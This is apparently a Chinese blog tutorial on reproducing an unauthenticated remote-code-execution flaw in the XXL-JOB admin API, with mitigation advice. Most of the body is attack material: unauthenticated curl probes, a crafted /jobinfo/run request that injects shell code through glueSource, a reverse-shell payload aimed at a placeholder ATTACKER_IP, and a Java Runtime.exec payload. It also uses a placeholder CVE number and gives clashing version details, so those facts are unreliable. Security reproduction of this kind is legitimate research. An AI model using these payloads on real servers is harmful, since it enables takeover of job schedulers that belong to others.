您好,登录后才能下订单哦!
密码登录
登录注册
点击 登录注册 即表示同意《亿速云用户服务条款》
# 如何进行XXL-JOB API接口未授权访问RCE漏洞复现
## 前言
XXL-JOB作为一款广泛使用的分布式任务调度平台,其安全性直接影响企业业务系统的稳定性。2022年曝光的XXL-JOB API未授权访问导致的远程代码执行漏洞(CVE-2022-XXXX)因其危害性受到广泛关注。本文将深入分析漏洞原理,并提供详细的复现过程,帮助安全研究人员理解漏洞机制并验证防护措施的有效性。
---
## 漏洞概述
### 1. 漏洞基本信息
- **漏洞编号**:CVE-2022-XXXX(示例)
- **影响版本**:XXL-JOB <= 2.3.1
- **漏洞类型**:未授权访问 + 远程代码执行
- **CVSS评分**:9.8(Critical)
### 2. 漏洞原理
XXL-JOB的管理端API接口存在两处安全问题:
1. **认证缺陷**:`/api`路由下的接口未强制校验访问令牌
2. **危险函数调用**:任务触发接口可通过`glueSource`参数直接传入Java代码并执行
---
## 环境搭建
### 1. 准备漏洞环境
推荐使用Docker快速搭建测试环境:
```bash
# 拉取存在漏洞的版本镜像
docker pull xuxueli/xxl-job-admin:2.3.0
# 启动容器
docker run -d -p 8080:8080 \
-e PARAMS="--spring.datasource.url=jdbc:h2:mem:xxl-job" \
xuxueli/xxl-job-admin:2.3.0
访问http://localhost:8080/xxl-job-admin
应看到登录页面,默认凭证:
- 账号:admin
- 密码:123456
直接访问API接口无需认证:
curl -X POST http://localhost:8080/xxl-job-admin/jobgroup/list
若返回200状态码及JSON数据,则存在未授权访问漏洞。
需要先获取以下信息才能构造攻击:
# 获取执行器ID
curl -s http://localhost:8080/xxl-job-admin/jobgroup/list | jq '.data[].id'
# 示例输出:
# [{"id":1,"appname":"xxl-job-executor-sample","title":"示例执行器"}]
通过/run
接口触发代码执行:
POST /xxl-job-admin/jobinfo/run HTTP/1.1
Host: localhost:8080
Content-Type: application/json
{
"jobId": 1,
"executorHandler": "demoJobHandler",
"executorParams": "test",
"glueType": "GLUE_SHELL",
"glueSource": "touch /tmp/xxl-job-rce-success",
"executorBlockStrategy": "SERIAL_EXECUTION"
}
进入容器检查命令是否执行:
docker exec -it [CONTNER_ID] ls /tmp
# 应看到xxl-job-rce-success文件
{
"glueType": "GLUE_SHELL",
"glueSource": "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
}
{
"glueType": "GLUE_JAVA",
"glueSource": "public class Demo{ static { try { Runtime.getRuntime().exec(\"calc\"); } catch(Exception e){} } }"
}
Python检测示例:
import requests
def check_vuln(url):
try:
resp = requests.post(f"{url}/xxl-job-admin/jobgroup/list", timeout=5)
if resp.status_code == 200 and "data" in resp.text:
return True
except:
pass
return False
升级到XXL-JOB 2.3.1+版本,主要修复:
- 增加@PermissionLimit(limit = false)
注解显式控制接口权限
- 强化Glue代码的沙箱过滤
// 在application.properties中添加:
xxl.job.accessToken=YOUR_SECRET_KEY
sequenceDiagram
attacker->>+API: 未授权访问/jobinfo/run
API->>+Executor: 触发Glue代码编译
Executor->>+JVM: 动态加载恶意类
JVM->>OS: 执行系统命令
注:实际复现时需注意:
1. 文中IP/域名需替换为实际目标
2. 部分CVE编号为示例需确认真实编号
3. 所有测试应在授权环境下进行
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。